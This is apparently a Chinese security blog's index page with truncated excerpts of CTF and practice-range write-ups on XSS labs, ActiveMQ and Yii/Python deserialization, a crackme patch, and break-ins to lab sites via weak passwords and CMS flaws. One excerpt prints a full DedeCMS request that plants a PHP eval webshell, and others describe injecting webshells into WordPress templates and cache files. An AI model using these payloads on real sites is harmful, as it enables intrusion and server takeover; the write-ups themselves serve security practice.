XSS ctfshow xss-libas
XSSjavascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行
被过滤,就从以下四个方面入手
大小写
重复写
编码绕过
%0a、%0d、``
XSS-labs例题第一关
1http://127.0.0.1/xss/level1.php?name=1
看name这个请求参数,输入的值会改边payload的长度,利用点就在这里。
可以再去看一眼源代码
而且我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间
那么就很明显,这一关主要就是考察反射型xss
但是由于不知道服务器端对于提交的敏感字符有没有过滤,所以这里直接在name参数
中赋值一个简单的弹窗来进行测试。
window.location 对象可用于获取当前页面地址(URL)并把浏览器重定向到新页面。
window.location对象可不带 window 前缀书写。
123456window.location.href 属性返回当前页面的 URL。window.location.href 返回当前页面的 hr ...
vulhub靶场
ActiveMQ Deserialization Vulnerability (CVE-2015-5254)Apache ActiveMQ概要:Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
环境搭建服务器,docker启动环境kali攻击机
关于漏洞利用过程:
构造(可以使用ysoserial)可执行命令的序列化对象
作为一个消息,发送给目标61616端口
访问web管理页面(8161端口),读取消息,触发漏洞
漏洞复现过程:这边使用jmet 作为渗透测试工具就是使用jmet构造反序列化对象jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在y ...
zb靶场
首先nmap扫网段
得到网站地址
注册了一下发现个人信息没有利用的地方。但是找到了后台地址,并且拿到了源码。
确认用户名为admin然后在尝试弱口令时发现这个验证码没卵用,当即爆破,得到密码——qwe123
但是后台并没有利用的地方,这时候去看源码发现存在漏洞
发现setting_post函数存在缓存漏洞,但需要后台管理员权限
在缓存文件中写入webshell,缓存文件路径是固定的,直接访问就可以触发
蚁剑连一下得到flag
xcai靶场
拿到手第一件事先nmap
上去搂一眼,好家伙真刑,光明正大的yinliu
/admin发现后台登录界面
想着试一下若口令,admin/123不对,admin/admin123然后就进去了发现是dedecms
看一下版本是V57 SP2,整一下去
利用代码执行漏洞,首先要先获取token,访问 /admin/tpl.php?action=upload。在源代码中拿到token值
访问域名+/admin/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php @eval($_POST[admin]);?>&token=/admin/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php @eval($_POST[123]);?>&token=token值
然后访问域名+/include/taglib/moonsec.lib.php如果是空白页面证明成功,打开蚁剑 ...
SZ靶场
今天搞这个靶场属实给我整不会了。。。
和前面一样看ip
登上去看了一样。
看着有点眼熟
这不是wordpress嘛,当时的思路是直接用word press的漏洞
利用发现利用不成,然后大王给我说去看看文章。寻思着也没啥好看的啊。。。
从这里获得了用户名,同时它说这是值得纪念的一天,那就试一下这个日期20201210行。。。进来了。
在后台里面逛了逛,发现了利用点在APPEARANCE下面,找到404页面编辑,在php标签内写入一句话木马
但是用蚁剑练报错,应该是路径问题。百度一下word press的目录结构
成功拿到flag
总体下来索然无味。
CRACKME.exe破解
CRACKME.exe破解前言刚开始学习Re两天,然后看到了这个小程序来试一下。第一次破解,有些地方可能写错了,请大佬们指出。主要是想试试。再学学然后试试别的方法,在更新上来。
暴力破解这里需要验证,但是我们不知道其中的值。
我尝试了一下会弹出一个MessageboxA
那直接下个对MessageBoxA断点定位过去康康
F8看一下,断到了
我们直接去栈顶的伪代码试图看一下,一个函数刚开始执行的时候,栈顶存储的就是调用这个函数的时候,函数的返回地址。那么这个函数执行完回到0x0040137d这个位置
定位过去看看
可以看到,上面是判断成功后MessageBoxA的回显,我们再在判断失败这个函数前下一个断点。
需要在这里把上一段断点关一下。点着按下空格就行
继续运行一下
我们再定位至栈顶去看看,前面有个call去调用
注意这个地方
可以推测,正确的值可能在这里面。但是不用管。
因为在call前面有个je去比较成功就跳过去,不成功就到call但是je的结果可以通过Zero Flag去修改让它跳过去就好了。
在下一个断点,记得把前面的断点关闭了
把Zero Flag改为 ...
SZP靶场练习
这个还是HZ那几个靶场中的一个,关于SZP的。首先先nmap扫描地址。
端口真多啊。上去看一眼。
扫目录扫到了PhpMyAdmin的路径
试了一下root/root就直接登上去了。。。。
准备直接写shell。先利用TP的特性拿到路径。
顺利写下shell
第一个flag在数据库配置文件里
第二个在桌面上有个zip包
一个5位数的加密
至此两个flag都拿到了。这个有点出乎意料的简单。想着会有secure_file_priv的阻拦来着。
还有一个点是在注册账号后设置提款密码处,这个地方存在sql注入。利用SQLMAP的OS-SHELL功能写webshell。这里我就不演示了,总体下来大差不差。
CP靶场练习
最近收到了几个靶场练手,这是第一个。关于bocai的。
和vulnhub一样不知道密码,上手之后首先nmap扫描地址
端口还是不少的有8888估计是个宝塔。拿到地址后上80端口看了一下。
注册登录查看了一下,没找到能利用的点,普通用户中心也没找到能利用的地方。扫了一下目录什么东西也没有,然后去看了一下88端口,是后台登录界面。
试了一下123/admin/123,提示管理员不存在
在试一下admin/admin/123,提示安全码错误。还有安全码,也不知道安全码是个什么形式先不考虑爆破,扫目录发现www.zip。下载发现存在数据库配置信息。远程连接是不用想了
那就试一下sql注入,发现后台登录存在sql注入。有一说一出数据是真的慢。
得到了用户名,密码,安全码。这个密码是加密,而且这是个自己写的加密。需要去找一下加密的函数。
刚好有www.zip去seay里全局搜索一下找找。运气不错找到了。
用他这个解密脚本跑一下就可以了。
随后得到密码 zhangming123
登上后台观察一下。说实话菠菜害死人这些都是号码都是可控的.
找了一会儿找到了利用点。在电子银行——存款方式 ...
Yii反序列化
Yii2反序列化前言最近在刷反序列化的题的时候碰到了Yii反序列化的题目,当时没复现,今天来复现一下。主要是想提高一下自己的代码审计的能力。
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148。
在开始之前,先介绍几个函数的用法
call_user_func_arry()调用回调函数,并把一个数组参数作为回调函数的参数。
12说明:mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
返回回调函数的结果。如果出错的话就返回FALSE
1234567891011121314151617181920212223242526272829303132333435363738394041424344<?php普通使用 function a($b, $c) { echo $b; echo PHP_EOL; //换行 ...
Python反序列化
python反序列化Python 序列化与反序列化什么是序列化过程 / 反序列化过程在学习反序列化漏洞前 , 我们应该先弄明白什么是序列化和反序列化 . 之前我有学习过 PHP 反序列化漏洞 , 可以参考 PHP反序列化漏洞 . 实际上 , **Python Pickle/CPickle 反序列化漏洞**和 PHP 反序列化漏洞 非常类似 .
Python 序列化过程 , 简单的说 , 就是将一个 Python 类对象转换为字符串格式的字节流 . 而 Python 反序列化过程 , 就是将一个序列化字符串格式的字节流还原为 Python 类对象 .
让数据在存储或者传输过程中以简单的字符串格式来表述相对复杂的类数据结构 , 能够方便应用所见即所得 , 直接进行数据交流处理 . 因此 , 反序列化过程常常出现在 数据结构网络传输 , session存储 , cache存储 , 配置文件上传 , 参数接收 等多个接口处
Pickle/CPickle 模块在 Python 中 , 包含序列化/反序列化过程的库有 Json模块 , Pickle/CPickle模块 , Shelve模块 , ...